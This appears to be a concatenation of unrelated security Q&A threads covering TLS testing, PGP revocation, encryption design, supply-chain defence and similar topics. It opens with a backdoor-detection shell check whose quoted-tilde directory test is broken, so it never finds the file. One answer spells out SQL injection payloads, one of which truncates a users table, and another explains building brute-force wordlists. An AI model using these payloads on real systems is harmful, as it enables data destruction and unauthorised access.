if [ -d "~/.gconf/apps/gnome-common/" ] ; then if [ `sha1sum ~/.gconf/apps/gnome-common/gnome-common | awk '{print $1}'` = 0138fc4d50c734e288388f7c8cbbea5e2ad08a8b ] ; then  echo "Linux.BackDoor.FakeFile.1 was found!"; else echo "You havn't virus"; fi else echo "You havn't virus"; fi

I think, this backdoor virus can't start automatically. User must run it from command line. Nautilus can't start it. But if you mount /home directory without exec privileges, you can live happy!


What website accepts only TLS 1.2 so I can verify client capability? Is there a publicly accessible website which will only accept TLS 1.2 connections so that I can test to see if my application can successfully, securely connect to it?

Background:

I have an old VB.NET application running on Windows Server 2008 R2 (64-bit).

It has code like this:

Dim req As New MSXML2.ServerXMLHTTP30
req.open("POST", "https://example.com", False)

From what I've read, ServerHTMLHTTP uses SChannel and you can't control the protocols used at the application level.

Windows Server 2008 R2 should support TLS 1.2, so I suspect the app will just work, but I'd like to verify by connecting to a site which only accepts TLS 1.2.

The website: https://badssl.com/ supports various versions of TLS using different subdomains, so you can test lots of variations there!
This subdomain and port only supports TLSv1.2
https://tls-v1-2.badssl.com:1012/
This subdomain and port only supports TLSv1.1
https://tls-v1-1.badssl.com:1011/
This subdomain and port only supports TLSv1.0
https://tls-v1-0.badssl.com:1010/
and more.  And if that domains disappears for some reason, the source to it is here on Github


Implementing a product key system? Say I have a piece software that allows people to download a trial version that can then be unlocked.  Would the following steps below be an effective way to implement a key system for unlocking the software?

User can download trial of the software.  In order to purchase they need to go to the website and enter payment information and an email.
An MD5 hash is generated from this email.  This hash is stored in a DB controlled by me and also emailed to the purchaser.
User takes the hash from the email, enters it into the software.  The software sends this as part of a HTTP request to a web service I control.
The web service marks this hash as "used".  It then sends a response indicating that the software should unlock.  Once a hash is marked as "used" it cannot be used to unlock again.

Can anyone see any problems with this plan?  Is there a different method that I should be using for something like this?

It would take me (and anyone with HTTP proxy) exactly 2 minutes to defeat this kind of protective measure.

The only effective protective measure for software is not to ship it to user. E.g. you can include only half of the functionality in the demo version. When user wants to upgrade to full version you take their money, give them one time link to download full version.

Or you could do part of the software as a service, depending on what it does, user can send the data to your server, and then you either perform the action or not depending if they are paying customers.


encrypted information that is not accessible to database administrators I work with asp.net core 1 and I will introduce an encrypted storage of user data. These data must not be accessible to the database administrator but only for users with a passphrase.

I thought of using:

IdentityServer to ensure the authentication. (With TLS).
Encrypt user data with a symmetric key. (can i use TDE? is possible hiding the key to administrators? )
Encrypt the symmetric key with the passphrase.
Save only a hash of the passphrase.

Brute-force attacks by administrators may recover the data?

It could be better?

If you want the data to be absolutely inaccessible by administrators, then unencrypted data can never hit the servers they control. Additionally, the decryption key can't be on the server either, since if it was, a malicious administrator could grab both the encrypted data and the key, and decrypt it.

So, what options do you have?

Client side encryption. If the end user encrypts data using a key which is never sent to the server, and the encrypted data is sent to your server, there is no way for the administrator to decrypt it, but the user can download and decrypt, as long as they have the key. It would be better to encrypt with a key derived from a password than from the password itself, just from a key length perspective - this is nothing uncommon though.

The problem you have with this, if you're worried about administrators trying to access data, is that they can presumably modify the encryption code sent to the client, if you're using JS - they've got access to the server. It wouldn't be particularly hard to encrypt the data twice, once with the user key and once with a key known to the admins. You can prevent tampering in transit (that's why you've got SSL enabled), but the admin that can edit the site contents can probably edit any checksums used to preserve the integrity of the client side code too.
Require that the user encrypts before sending. If the end user uses a third party encryption application, your admins can't do anything about it, other than brute force, which should be difficult. However, it does reduce your service to a file store, which might not be acceptable.
Spread the risk. Have a server which serves the encryption routines to the client, which is managed by company A. Have a server which receives encrypted data and stores it, which is managed by company B. Have the rest of the web application on a server managed by company C. End user receives encryption code from server A, which is presumably unmodified, since the admins of that server never see the encrypted data, and can't modify the code without breaking checksums which are served from server C. Their computer encrypts with the client side key (which is never sent anywhere), and sends the data to server B.

The admins from A can't tamper with the encryption, or where the data is sent unless they collaborate with the admins from C. The admins from C can modify where the data is sent, or send incorrect encryption routines, but B can report if they're not getting any data. The admins from B would have to get either admins from C to pass them the key, or the admins from A to modify encryption routines to gain access.

Now, this seems like a very complicated scenario, but that just shows how much power the server admins have - by definition, they've got access to read and modify pretty much anything.

You basically get into a trade off between ease of maintenance and security - option 1 is easy to maintain, since you have full control of the server from a single point. Option 3 is difficult, since you have to co-ordinate any changes between multiple administrators, but makes it really difficult for any individual one to get hold of the data. Whether it's worth that effort depends on the data being stored.


Why does the revocation sent to the OpenPGP keyservers not show up? I have created a new OpenPGP key pair. So I wish to revoke the former, I have used.

Here's what I managed to do so far.

This way I found that my email's ID is 3C76732B:

gpg --search [email address removed for crawlers not to get it from here]

I imported it as follows:

gpg --recv-keys 3C76732B

I found my private key and imported is like this:

gpg --allow-secret-key-import --import secret.gpg.key

As I still remember the password for it I created the revocation certificate:

gpg --output revoke.asc --gen-revoke 3C76732B

I imported the revocation key as follows:

gpg --import revoke.asc

Here I am unsure, if I did this step Ok. I sent the same key ID back to the server:

gpg --send-keys 3C76732B

Despite this says that the key has been revoked,..

gpg --edit-key 3C76732B

.. I can't verify it on http://keys.gnupg.net

Any further steps I should take?

The key server network does not consists of a single server, but a whole bunch of servers that synchronize through "gossipping". keys.gnupg.net actually points to pool.sks-keyservers.net, which again randomly serves IP addresses of key servers operated by individuals. This will take a while, expect some time between few minutes and multiple hours.

If the key shows up as revoked locally and you recently uploaded it, just wait for some time and check again. You could select multiple servers from the SKS keyserver pool and upload the key directly to different of them to speed up the process, for example by running

gpg --keyserver hkp://keyserver.erat.systems --send-keys 3C76732B

(keyserver.erat.systems is the one I'm running). You don't have to upload to all of them, probably synchronization would actually be faster than you selecting the servers manually. As already explained, uploading to one (or one of the pool addresses) is sufficient if you wait for some time.


Create revocation certificate for all user IDs My OpenPGP key consists of three identities and two subkeys. I now would like to create a revocation certificate for the master key.

pub   4096R/2J9F2349 2016-05-10 [expires: 2016-11-06]
uid                  My Name <email_1@post.de>
uid                  My Name <email_2@post.de>
uid                  My Name <email_2@post.de>
sub   4096R/APF6B2U1 2016-05-10 [expires: 2016-11-06]
sub   4096R/HGS4421E 2016-05-10 [expires: 2016-11-06]

When using this command

gpg --output revocation_certificate_2J9F2349.gpg  --gen-revoke 2J9F2349

I am asked if I want to create a revocation certificate for

sec  4096R/2J9F2349 2016-05-10 My Name <email_1@post.de>

Why does GnuPG show me only the first email address? Does this mean that the other identities won't be affected by a revocation? I want to create a revocation certificate for the master so that if I'd ever used it, the entire key (including all subkeys) should become useless.

When creating a revocation certificate, GnuPG prints the key's primary/default user ID to help you identify the key. The revocation certificate is not including any user ID, but targets the primary key.

You should be able to verify that using gpg --list-packets or pgpdump, you should observe a signature type 0x20 (key revocation), not type 0x30 which is a certification revocation (user IDs are bound by your primary key through a self-signature/self-certification, which is revoked when you want to revoke a user ID).

A revocation certificate on the primary key also invalidates subkeys, user IDs and certifications issued by that key.


How common is port-knocking? Today I read about port-knocking for the first time. It has been a pretty known concept for more than ten years, but I don't know anybody who uses it for their servers.

How common is the usage of port-knocking?

Port-knocking is often used in 'closed' designs to assure network integrity. In the meantime it evolved into single-packet authentication.

Check here for the source of sources on the topic :)

http://www.cipherdyne.org/fwknop/docs/SPA.html


Prevent MITM between custom phone app and local server We're building a Wifi enabled device. The device will be installed locally on each client's office and people in the the small office will connect to this Wifi enabled device, They will send/receive sensitive data.
As we cannot use signed/trusted certificate per client, how can we guarantee that two users who are connected to same WAN cannot sniff on each other?

What type of encryption should our mobile app and our server app should implement? Challenge-response? RSA? What algorithm and how? What do you think?
We need high grade encryption and impossible to sniff connection between each individual and central server.

Won't WPA+802.1X solve this?

AFAIK, this means that no client can sniff the others' packets. I'd recommend that you double-check this before moving forward, but that's what I've understood from some brief re-reading (I haven't used 802.1X in years).


Instead of JSONP, why can't we bypass Same Origin Policy explicitly? I've been learning about the Same Origin Policy. If you just want to access public JSON content, you have to use a workaround, such as CORS, reverse-proxy, and JSONP.

If there were a way in ECMAscript for a script to explicitly ask the browser to send an unauthenticated request, scripts could access public content while browsers wouldn't have to worry about cookies being misused.

Things are rarely so simple, and I'm sure there's a reason why such functionality doesn't exist. I don't know the topic well enough to think of it, though.

... ask the browser to send an unauthenticated request

The browser don't know how authentication is done by the server. It can be done with session cookies, client certificates, the clients source IP address or simply because the client is able to reach the server at all.

For example you often have a company Wiki or bug tracker inside the companies intranet, i.e. not directly reachable from outside. If an attacker would be able to make an "unauthorized" (i.e. no cookies) XMLHTTPRequest to these internal resources from an external page (for example using a targeted advertisement) then the attacker could exfiltrate important internal information from the company.


What is the simplest safe way to convey a password to another person? What is the easiest way for two people – neither of whom are computer specialists and cannot meet in person – to send a password for an encrypted file that is attached to an email?

The two simplest methods are these: telephone the other person and read the password over the phone; or write in the email questions that the NSA and other hackers couldn’t possible answer. The answers or parts thereof when compiled can then be the password or hashed to provide a password.

Asking non-technically minded people to install full PGP to send a password is not realistic. Is there a simple piece of JavaScript out there that can do a Diffie-Hellman, so the resulting shared key can become the password?

I too have tried to come up with a good solution for this. But I found https://onetimesecret.com/ which works great.

Basically you create a link containing a password and you send this link to the intended recipient. As soon as the receiver clicks on the link, the link expires and the password is deleted. So the receiver only has one time to copy the password. A one-time secret.


What is the meaning of "something AND 1=0" command in SQL? I have read somewhere that in SQL injection attacks the attackers use such keywords into application entry points. Whats the purpose of doing  this?

The fragment AND 1=0 always evaluates to false and therefore the query always returns an empty set, e.g. if the SQL fragment in the application is

SELECT * FROM users WHERE username = '<placeholder>'

then I can turn this query to

SELECT * FROM users WHERE username = 'admin' AND 1=0 --'

when using admin' AND 1=0 -- as value for the placeholder.

I can now insert a second statement which is executed instead of the intended one, e.g.

SELECT * FROM users WHERE username = 'admin' AND 1=0; TRUNCATE TABLE users; --'

Here I will empty the table users as attack.

Another thing used is OR 1=1 which always evaluated to true. This is used to query a whole table and eliminate the where-caluse completely, e.g.

SELECT * FROM users WHERE username = 'admin' OR 1=1 --'

This is achieved by using admin' OR 1=1 -- as the placeholder in the above example.

In this case the complete table users will be returned.


Store encrypted data locally on the phone that the Android and iOS app itself decrypts I have an iOS and Android app where our "secret sauce" is a bunch of numbers (weights, actually) stored in a database.  Our app uses these numbers to compare what the user of the app has given it, and then provides a result.

To put that another way, a user launches the app and gives the app a set of numbers based on some questions.  We compare the numbers from the user input to our database of "secret sauce" numbers and give the user a comparison result.

Is there a way to encrypt the database of "secret sauce" numbers that can only be accessed by the app?  We don't need the user to authenticate, just the app to authenticate.

A tiny wrinkle here is that we'd like to be able to update that "secret sauce" database over time as we get better data.

If the app can access the data locally (on the user's device), then a determined individual can as well. If you really want to keep the values secret you could consider having the app send the user's input to a server (which you would control) which both stores the secret values and computes the value for the user. The server would then send the value back to the app to display.

This would improve your update problem as you could simply update the servers values whenever a change is required.

Note that someone could easily submit numerous inputs and map them to outputs which, depending on what type of computations are being done, could allow them to deduce the secret values.


Resetting password for stored encrypted data I'm designing a system to hold protected user objects, potentially using their passwords as in this article Encrypting sensitive data in software and storing/decrypting it on a server.

When a user forgets their password, I need a method to reset their password but also recover and re-protect their user object. I want to automate this process using some self-service portal.

I had considered using some asymmetric encryption to additionally encrypt the user object during the original password encryption, where some remote system with access to the private key can recover the data and then allowing the user to specify a new password and then re-protect their object.

Are there any existing patterns that could achieve this?

What you describe is a common use case in medium to large organization: users can encrypt their sensitive data, but a copy of the key must be saved (generally in a physical safe) in case they forget their password or are no longer able to decrypt it (death, serious injuries, etc.)

Windows offers an out of the box way where an administrator can be allowed to decrypt a crypted folder. Other systems can be imagined, with the following pattern:

a symetric key is used to encrypt the data
that key is then encrypted with the user password (*) and saved that way. When the user changes its password, the keyfile is decrypted with old password and re-encrypted with the new one
a copy of the symetric key is securely stored in a physical or logical safe accessible to a security officer (or even better procedures could requires two different persons to unlock the safe)

(*) More exactly the user password is used to access the symetric key. But it can be actually encrypted with:

a hash of the user password
a public key of the user (he then uses his private key protected by his password to decrypt)
or stored in a password vault

The same variations can be used to store the copy.


How do I verify HTTPS connections in Mobile apps? There are a lot of mobile apps nowadays with payment gateways support.
However, unlike desktop browsers, these mobile apps do not show us an 'Address bar' by which we can identify a HTTPS connection.
How can I make sure I am making a payment on a mobile app with a HTTPS connection?

Unfortunately, unless you sniff and inspect your own traffic, you can not... My advice is not to use built-in browsers that do not indicate the protocol being used to handle sensitive information


Password for XLS files I am not sure if this is right place to ask this question.

I have created an xls file to store all my password in it. lately I have uploaded same file on Google Drive to access it from remote computer as well.

My questions are:

Is it safe enough to store passwords in XLS file with password on it?
Is it safe to upload it online Drive and if that file gets stolen what could happen?
Is easy enough for someone to break password and steal all passwords ?

Thank you for your help and time.

As with any security question you must weigh convenience versus security. While it's quite convenient to have a sheet with all your passwords stored in the cloud for easy access, it's also quite convenient for someone that gains access to it to get all your passwords.

Doing a quick google search I found numerous pages stating how easy it is to crack MS Office documents/spreadsheet passwords. From what I gather cracking PDF passwords is also rather trivial. So to answer your questions:

Getting back to security vs convenience while having a password on your excel spreadsheet might stop many attackers, it's by no means secure (especially if you name the file something like Passwords.xls or KeysToTheKingdom.xls). Your average user might not bother trying to crack the password on the file, but anyone with even slight interest could figure it out without a vast amount of effort.
Safety is subjective, if it were me, no it's not safe, I use a password manager (KeePass) and I wouldn't feel very safe even storing its encrypted database file in the cloud. If someone manages to download the file and thus gains offline access to it or anything with a password, they can brute force it to their hearts content and no technical controls (account lockout for example) can stop them
As noted above it appears to be rather trivial, I've never actually tried it myself but know of people that have done so successfully.


Which web server is more secure, Apache, nginx or lighttpd? We are trying to decide which web server to choose for our PHP application.

Which of Apache, nginx or lighttpd is the most secure? Which of these has had the most and most severe security holes?

The OS and web server with which you have the most experience are usually going to be the most secure.

Security depends on all of the layers, not just the web server.  If you pick one with very few vulnerabilities, but don't understand how to configure it, you will most likely not understand how to configure it securely.

They are all mature web servers, so the one you understand the best is the one you are going to be able to secure the most.


How are USSD messages used and who could send them? Some illegal ads started showing up on my Android phone as message boxes recently. They are said to be "USSD messages" in an app recording notifications (com.evanhe.nhfree).

There is a Wikipedia article about USSD, but mostly about the protocol. It's difficult to find any information about how they are actually used in modern smartphones, and the security implications.

So my question is, who are doing this? Are they (possibly or likely) from a service provider, someone contracted with them, some random person on the internet, or maybe malwares trying to hide the real source? Are they something like the email spams that I should just ignore them, or do they involve something more serious, such as hacking into the service providers, or using fake base stations?

The latest message specifically mentions "don't take screenshots", so I suspect they are afraid of the police finding something.

And as they are related to GSM, do they require downgrading to 2G to work?

I work in a telco and can tell you that we do use USSD messages. As far as I know, users can't generate them on their own, it has to be the provider.
So it's either your provider that's compromised, or your phone. I'd send an e-mail to your provider (look it up on their website, it's probably 'abuse@providerx.com' or something like that).


Why CVSS range 8 to 9 is almost inexistent According to cvedetail graph  Vulnerability Distribution By CVSS Scores, we can see that CVE with a CVSS in range 8 to 9 are the less represented of all range.
Even compared to the low score ranges which seems to be generally less populated.
It's really strange because it make like a gap: the range 8 to 9 represent 0.40% of all the ranking and the two other adjacent ranges represent respectively 22.2% and 13.1%.
Why this disparity ?
Is it due to the construction of CVSS score ?

Disparity is due to such attacks being very specialized as reflected by the CVSS calculator.
One gross simplication of the calculator is that it is derived from the Impact of the vulnerability and how easy it is to Exploit. Easy to exploit and high impact will get you a score near 10. Hard to exploit and low impact will get you a score near 0.
CVSS 8-9 refers to specialized scenarios where
impact is absolutely devastating (i.e. high impact across all of Confidentiality, Integrity, Availability) but hard to exploit. Or easier to exploit but high impact to only one of the CIA aspects.
It is interesting that vulnerabilities in practice (as reported by cvedetails) don't tend to be that specialized, or if they are then they're not being reported.


Will a CD automatically get infected when it is inserted? If my computer has virus and I inserted a CD, will the virus automatically move there?

If it is a CD-ROM (i.e. read-only) the virus cannot move there since the medium is not writable in the first place. This cannot be bypassed - it is a physical limitation not a software limitation.

If it is a CD-RW (writable) and the drive is capable to write CD-RW (most do today) the virus  can still not move there directly: a CD-RW does not behave like an external hard disk or USB drive where one can simply write a file on it. Instead a disk image needs to be prepared and then written to the drive which usually needs special programs. Of course, a virus might have this capabilities by itself or is able to make use of such programs found on the system. But it is unlikely that the virus has such capabilities unless it is explicitly designed for this use case (i.e. usually not).


How customising a wordlist to make a bruteforce attack in leetspeak with hashcat or John the ripper I'm trying to unlocking my encrypted external harddisk because I have lost my paper with the password. With the help of user3439894 I have a short program to injecting a wordlist and unlocking the external harddisk but I need help again to build a shorter wordlist because the password contains many characters.

Hopefully I can remember the keywords from my password but to have a more secure password, I have make leetspeak mix with some upper case, lower case and special characters.

Here is the shape of my password that I'm trying to guess: MyP4s5wOrdhardTOgue5s107 but It could be something like this mypASSWOrdhARDTOgueS5789 or like this mypASSWOrdhardTOgue5s074...

Does anyone knows how is it possible to make a customised wordlist with a program like "John the ripper" or "hash cat" to build something like a mask or character combinator attack and avoiding to listing all the unusefull letters to reduce the numbers of combination.

Yes, there is a program called 'crunch' that allows you to specify exactly what you need and it will generate a wordlist that you will then later pass into John The Ripper or hashcat. You can tell crunch to include or exclude specific letters,symbols and numbers. You can tell it which letters in which positions should be capital or lowercase. The possibilities are really endless, so I would definitely take the time to read the manpage I linked. Anytime I need to brute-force a hash, this is my go to because it reduces the time significantly.

Read the documentation thoroughly and look at the examples they provide and you should be able to construct a worldist to your exact specifications.

Crunch: http://manpages.ubuntu.com/manpages/zesty/man1/crunch.1.html


Is proxy useless when connected to VPN? Suppose one is permanently connected to a trusted VPN.

Further let's suppose the primary objective is torrenting solely.

Is there a point to go further, in particular for a proxy?

I ask on behalf of reading mixed information, e.g. for Transmission client:

  Proxies don't work, and Transmission Project decided long ago not to give false hope to users (or plain lies, like others do).
  From a technical point of view, the traffic handled by a bittorrent client is not the kind of traffic you can route through a proxy, not even a Socks5 proxy.
  The only thing that works is external to the application: a VPN, and also application level routing (which AFAIK is only available on Linux).

Source of citation

If your VPN is trusted and secure enough, I don't see any further benefits from using proxy, or another VPN inside your VPN. This would complicate your setup (setting up proxy everywhere), slow down your connectivity, and add an extra point of failure - for example, the proxy could be hijacked to return malicious content.


How does one defend against software supply chain attacks? In reference to the Solarwinds attack, since many organisations have no access to the source codes of the software vendors from whom they just consume the services, how can organisations defend against supply chain attacks?

You can't avoid the risk, but you can mitigate it in several ways.

Reducing the attack surface. Instead of using lots of tools from lots of different vendors, only use a few ones that you really need. Uninstall anything that you don't need. Less software running on a machine means a lower risk of infection.

Separate environments, virtualization, other kinds of separation in general. If you keep some software separated from other important data, you can mitigate the impact of an infection. For example, if you run some software inside a virtual machine, a supply-chain infection of such software won't affect the external environment (unless it is combined with the exploitation of a severe bug in the VM). Using separate physical machines to run different software (maybe less trusted software) is another option. Other kinds of separation in general could be anything related to separation of privileges, or separation of networks, strict firewall rules, etc. Lots of these security controls could be considered to be part of what is often called defense in depth.

Detection. You might accept the risk of infection, as long as you are able to detect the infection as soon as possible. Intrusion detection systems and periodic audits will alert you if anything suspicious is going on, and you will be able to limit the damage.

Independent software analysis and review. Open source software can be inspected before compiling and installing it. If you don't have a team of programmers and security professionals though, reviewing all the new code in every new release is going to be impossible, so this kind of defense can only be attempted by large organizations. Note that this process takes time but on the other hand updates usually need to be installed as soon as possible, so you need a good patch management plan to find a balance.

Write your own critical software. This is usually done when you are too scared of relying on an untrusted party for something that is critical to your business. There might not be open source alternatives to what you need, so you might not want to trust a closed-source binary blob. Or you might be a government agency that can't trust software from another country. Whatever the reason, remember that writing your own application might require an enormous amount of resources, that often you'd better spend on the other points I mentioned (analysis, detection, patch management, security controls in general, etc.).


Is it secure to make a publicly available Web App that has URL's generated from a hash? If you know of a better title, please feel free to edit the title.

I'm making a simple google Web App so colleagues at my workplace can view details about a QA that they received. The issue is only certain individuals have Google Apps accounts, so the Web App cannot be restricted to users on our domain.

I was considering generating a random number for each QA response, then using the QA details and that number to generate a hash that is essentially a unique url. ie https://script.google.com/a/macros/MyDomain/MyApp/?code=UniqueCode. visiting that URL with the unique code will show you the details on the QA.

The unique code would be retrieved via GET.

Is this secure? Can this be easily cracked to view very basic info on employees?

Your scheme is moderately secure provided the random value is long enough and random enough, however it has a number of flaws:

Passing your authentication token in the URL means it'll be in HTTP server logs, browser history, etc. Data in these places is not usually stored in an especially secure way.
You have no way to revoke access (eg. if an employee leaves or if your system is compromised somehow)
There's no time limit to the validity of the tokens

Ideally you'd have some kind of global method to authenticate all users (eg. everyone registers an account on your system), but if you have nothing other than email addresses to authenticate with then I'd suggest the following:

The link emailed to the user is a link to an authentication page with the content/QA ID and user's email as parameters.
The authentication page generates a hash/signature containing the content/QA ID, the user's email, an expiry timestamp (expiring in say 30 minutes) and a unique ID which can only be accepted once (ie. nonce), and emails a new link with the hash/signature to the user
The user follows the second link in the new email containing the hash/signature and the parameters (expiry, content/QA ID, nonce and email) and the page checks the validity of the parameters before displaying the content.

Having to wait for an email containing a second link every time might be slightly annoying, but it has the following advantages over your scheme:

URLs in server logs / browser history won't be a security issue because they can only be used once thanks to the nonce.
When someone leaves the company their email can be invalidated, therefore their URLs won't be accepted any more
The expiry timestamp will ensure old unused links will be benign

I'd also recommend using JSON web tokens instead of rolling your own signature/hashing scheme.


Why is salt+nonce authentification over insecure channel vunrable to man-in-the-middle attack? In a network connection over an insecure channel I do the following:

Server sends database salt and a nonce to the client;
Client computes and sends hash(hash(pwd + salt) + nonce);
Server computes hash(db_pwd_hash + nonce) and compares it to the hash from the client.

While it does not expose the password to a passive listener and is not vunerable to replay attacks, a man-in-the-middle attack supposedly is an issue. Why exactly?

I consider a vunerability the ability to obtain the password or its non-salted hash. I do not care about the security of the following session.

Active eavesdropper MIM::
With a MIM able to not only see, but also modify information exchanged between you and the server (eg: a proxy), I can intercept the first message and change the salt and nonce to zero values.

You will reply with a hash of your password with basically no extra data added to it. I can take this hash and look it up in a pre-computed table (lookup table or rainbow table) to see if I can find your password matching the hash.

Passive eavesdropper MIM:: Now, let's say I'm an observer only and cannot modify any data within your communication but still see it all.
Since I know your salt and nonce, I can attempt brute force or dictionary attacks on your password. This is probably more expensive but would still work in case your password is weak.

This should show you how important it is to exchange authentication information over a secure channel. The minimum requirement should be TLS with server certificate verification.

edit: server certificate verification includes certificate chain verification and server hostname verification (the host you're connecting to is the one listed in the server certificate). The latter is important to prevent MIM attacks.


Are there actions taken against websites that deliver malware? There are serious tools and services such as Google Safe Browsing for malicious and phishing websites, and others fully dedicated to phishing websites such as Phishing.org.
What is done against these websites (especially the ones that distribute malware, with drive-by download attack, for instance) once they are publicly flagged so ? Are they blocked  later or something like that ? For example there has been a multi-national action against the GameOver Zeus Botnet. Is there something like that against the malicious websites ?

Okay, personal anecdote time.

I'm a sysadmin in real life, working for an ISP that primarily caters to small to medium businesses.

One of our larger customers operates, among other things, an exceptionally cheap and completely automated shared webhosting service. You sign up, pay a couple of bucks via credit card, and plonk your site down. No human interaction required of any sort.

As the AS that controls their IP block, we used to get phishing site complaints regarding that server like clockwork. We immediately forward those to the NOC of the company, who then investigate and delete the site... But by the time that's done the phishing site is already being hosted somewhere else entirely.

The credit card numbers used to pay usually turn out to be stolen (of course) and the registration request rarely comes from the same IP address more than once.

So what do you propose should be done about this?
Laws?

Whose laws?

The law of the country the server is in? Neither us (the ISP) or the company that runs the webhosting service is doing anything wrong. We're providing a perfectly legitimate service and respond as fast as reasonable when someone abuses said service for criminal purposes. I hate phishing and scammers as much as the next sysadmin who's had to deal with one dozen spambots too many, but we're already doing all we can and passing laws won't really change that.
The law of the country the scammer is in? Chances are, that country already has laws that deal with this. The only problem is, which country? Like I said, the origin IP is rarely the same twice and likely a proxy running on another compromised host, most likely someone's bot-infected desktop computer. ISPs don't exactly keep logs of every connection going in or out of all systems in their IP range, so even if we could get everyone's cooperation by the time we'd start looking the trail has gone cold.

You're also laboring under the mistaken impression that it's single site or easily isolated group of culprits. It isn't; between the myriad cheap registrars and webhosting services -- both of which are ultimately good things -- it's more like a crazy multiplayer game of Whack-A-Mole.

Terrestrial law enforcement can sometimes catch a break, but they do that by following the money, not the IP traffic.


Can malware infect computers via wifi routers and mice? My computer was hacked, which probably resulted in malware/a virus being installed so I'm using my most recent backup on a separate machine (all macOS). Luckily, I was able to determine the timing of the attack exactly, so I know the backup is clean and my separate machine should be good to go. But I wonder: is it safe to reuse the same wifi router and mouse—which I used with the infected computer—with my clean computer?
To be clear, I have wifi turned off on the infected machine, and I have reset my wifi router to factory settings and then changed the network name and password, so the infected computer couldn't connect to the internet even if it tried. Bluetooth is off on the infected machine also. I'm not worried about my dirty computer reinfecting the clean one. I am worried about the dirty computer having already infected my router, malware somehow surviving the router being reset, and now reinfecting my clean machine that's now connected to the router. I don't know for a fact whether a factory reset really would get rid of a virus that had made it onto my router. It seems like a great strategy for a virus to infect a router and then spread to computers users think are clean.
I have already learned that I should not reuse my keyboard. But what about my mouse and my wifi router?

Despite it sounds strategically good, multiplatform malware that would infect both the computer and the router are rare. That's probably because such malware would require two set of vulnerabilities to abuse, and therefore only be effective against a certain pair of computer OS and router model. That would only be practical in targeted attacks, but not for malware spreading in wild.
Unless the root cause for your infection was that the router was hijacked and used to lure you to download something malicious, it's likely safe to use it. Just don't forget to change the administrative password of the router, too. Most routers are hijacked simply by using default passwords instead of firmware vulnerabilities.


Does quick denial tell that you passwords are stored in plain text? Say you are using a website and incorrectly enter your password. The website then "instantly" pops ups with an "incorrect username/password" message.

Would it be safe to infer that the website is not hashing passwords?

As I understand it, cryptographic hashes are generally designed to take a certain minimum amount of time in order to deter brute force attacks.

You can't make that assumption.  Hashing occurs extremely fast, even a password that's salted, and uses a secure "slow" algorithm (or even chained set of algorithms) is going to return very fast (for humans).  A ballpark estimate for using PBKDF2 with 10,000 iterations for each logon  attempt could handle 100,000 attempts in a second (when only looking at hashing time).  What seems like "instant" to you is actually quite a long time to the system.

Also remember the page may not have to reload any content, it could have the dialog already rendered just not displayed.  Or the page could use a persistent connection rather than creating a new connection when sending the credentials.  Both speeding up the responsetime.

That's not to say the error for an incorrect username/password can't reveal information.  Some sites will return their error message faster if the username is invalid (and thus didn't bother checking the password).  This can lead to an attacker enumerating account usernames.

Hashing estimates : https://stackoverflow.com/questions/11298184/about-how-fast-can-you-brute-force-pbkdf2


Chrome requires SAN names in Certificate. When will other browsers (IE) follow? Chrome requires SSL Certificates to list the site name(s) in the subject alternative name (SAN) to be trusted. Usage of common name only is not seen as secure enough, and will result in a certificate validation error in Chrome.

We are in the proces of updating our certificates, but need to know the urgency. We do not support Chrome for a lot of corporate / internal sites (yet).

Is it known when / how other browsers will implement this security restriction? Will IE / Edge / Firefox / Safari follow this improvement?

IE probably never
IE is a dead product, it'll probably stay doing what it's currently doing unless there's some major security issue forcing Microsoft to issue a special security update to disable CN validation.
Firefox already there
Firefox already no longer recognize CN for new certificates signed by public PKIs, (deadline was anything issued on/after 2016-08-23) but still allow fallback to CN for non-built in CAs. Since Firefox is an open source product, for items like these, removing CN support likely will require a volunteer that actually goes forward to provide a patch to implement the removal, and such patch likely will only get merged if retaining any CN support is preventing some other major improvements to Firefox or the web/PKI infrastructure as a whole. There's really no big hurry for this removal, as keeping it around doesn't seem to prevent anyone from doing what they need to do at the moment, and the current solution of differentiating built in and imported certificate seems to satisfy Firefox's users for the moment.
Edge/Safari: unknown
Edge and Safari are a Microsoft's and Apple's products, keeping or removing support likely will depend in their respective commercial influences.
Further reading/tracking: ChromeStatus
So far, according to ChromeStatus: Support for commonName matching in Certificates, there doesn't seem to be any public communication from Microsoft and Apple for this topic.


Is an up-to-date browser secure on an out-of-date OS? Windows 7 support will end on January 14, 2020. Assuming that after that day I still use an updated browser, is it true that I'm still safe? Can it "patch" the OS-based security holes?

Minor question: typically, how long would the browsers stop supporting abandoned OS? Is there any number on this?

Related: Why should browser security be prioritized?
FYI: Attack surface - Wikipedia

Do not use an outdated OS, even with a modern browser.

  Assuming that after that day I still use an updated browser, is it true that I'm still safe?

No, you cannot avoid browser-based security holes only by updating the browser. There are a few reasons for this. Primarily, the browser is not entirely self-contained. It makes use of operating system libraries, for example the system memory allocator. This allocator is designed to mitigate various memory corruption-related security issues. If the allocator is not kept up to date, memory exploitation bugs may be easier to perform against the browser, no matter how up to date the browser is.

Another reason is that browser security often relies on OS sandboxing features. A powerful browser exploit must be combined with a so-called sandbox escape. How easy that escape is depends on how secure the operating system is as well as how secure the browser is. By using an outdated operating system, your browser is being protected by out of date and potentially vulnerable security features.

  Can it "patch" the OS-based security holes?

No. Patching operating system vulnerabilities requires elevated privileges, which a browser does not have. Even if it did, browsers are not designed to modify system settings or system files. There is no extension or web page you can go to that is able to patch security vulnerabilities in your OS.

  Minor question: typically, how long would the browsers stop supporting abandoned OS?

Browser vendors typically publish when they will stop officially supporting a particular operating system. After that point, changes made to the browser that break on older systems will no longer be considered bugs and may not be fixed. Programs typically continue running on older systems for a very long time, however. They only stop working when they begin to rely on newer system APIs that aren't present in older versions. This is relatively rare. A browser should be able to run on an outdated operating system for many years, albeit not very securely, and without official support from the vendor. Most likely, as it begins to rely on newer and newer APIs, features in the browser will just start breaking one by one (especially security-related features) until it eventually does not start up at all.


Embedding expiry dates into keys possible? I have an app which uses an asymmetric key for encrypting/decrypting data between devices.

However, these devices should no longer be able to decrypt after a certain period of time.

Currently, I'm generating the keypair in the form of plain RSA and I can use the key indefinitely.

Is it possible to embed some sort of expiry date in the private and public keys such that when used after a certain date, the keys will simply just can't perform?

Yes you can design a protocol where key generator and key user agree on where this timestamp is saved (NB: next to the key bytes or inside the key bytes, but the later option is highly dangerous as it might reduce entropy so don't do it). You might need to also device some mechanism to make sure the date cannot be changed.

There are all kind of clever ways for that, but X.509 certificates already standardize this, so you might simply use them.

The owner of the secret key would have to check if the secret key matches the certificates public key, if the certificate is properly signed from a trusted issuer and the current time is well within the validity period.


How does the Samba misconfigured '/etc/passwd' file security bypass vulnerability work? I just found this vulnerability on http://www.securityfocus.com/bid/36363/references, which affects several samba server 3.0.xx.

